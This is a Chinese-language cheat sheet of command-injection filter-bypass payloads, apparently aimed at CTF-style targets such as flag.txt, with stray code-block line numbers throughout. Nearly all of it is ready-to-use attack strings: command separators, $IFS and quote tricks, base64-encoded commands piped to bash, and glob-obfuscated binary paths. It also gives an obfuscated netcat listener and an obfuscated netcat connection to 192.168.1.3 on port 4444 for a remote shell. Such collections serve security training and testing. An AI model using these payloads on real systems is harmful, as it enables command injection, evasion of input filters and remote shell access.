命令注入绕过方式总结

1

cmd1;cmd2

1

cmd1|cmd2

1

cmd1 && cmd2

1

cmd1 || cmd2

1
2

echo "result : `whoami`"
echo "result : $(whoami)"

1
2
3

cat${IFS}flag.txt
cat$IFS$1flag.txt
cat${IFS}$1flag.txt

1
2

cat<>flag.txt
cat<flag.txt

1

cat%09flag.txt

1

a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;

1

`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`

1

echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

1

c""at fl''ag.tx""t

1

cat flag.txt

1

ca$1t fl$1ag.t$1xt

1
2
3
4
5
6
7
8
9
10
11
12

(1)more:一页一页的显示档案内容
(2)less:与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl：显示的时候，顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器，这个也可以查看
(9)vim:一种编辑器，这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

1

/???/?[a][t] ?''?''?''?''?''?''?''?''

1

/???/[m][o]?[e] ?''?''?''?''?''?''?''?''

1

/???/[t]?[i][l] ?''?''?''?''?''?''?''?''

1

/???/[n]?[t]??[t] -lvp 4444

1

/???/[n]?[t]??[t] 192.168.1.3 4444

1

echo "result:`whoami`"

1

echo "result:$(uname -a)"

1
2
3
4

echo -n "cmd1" > r;
echo -n "cmd2" >> r;
echo -n "cmd3" >> r;
echo "cmd4" >> r;

1
2
3

ca
t flag.t
xt

1
2
3
4

> "ag"
> "fl\"
> "t \"
> "ca\"

1
2
3
4
5
6

s
ca
t 
fl
ag
其他的无关内容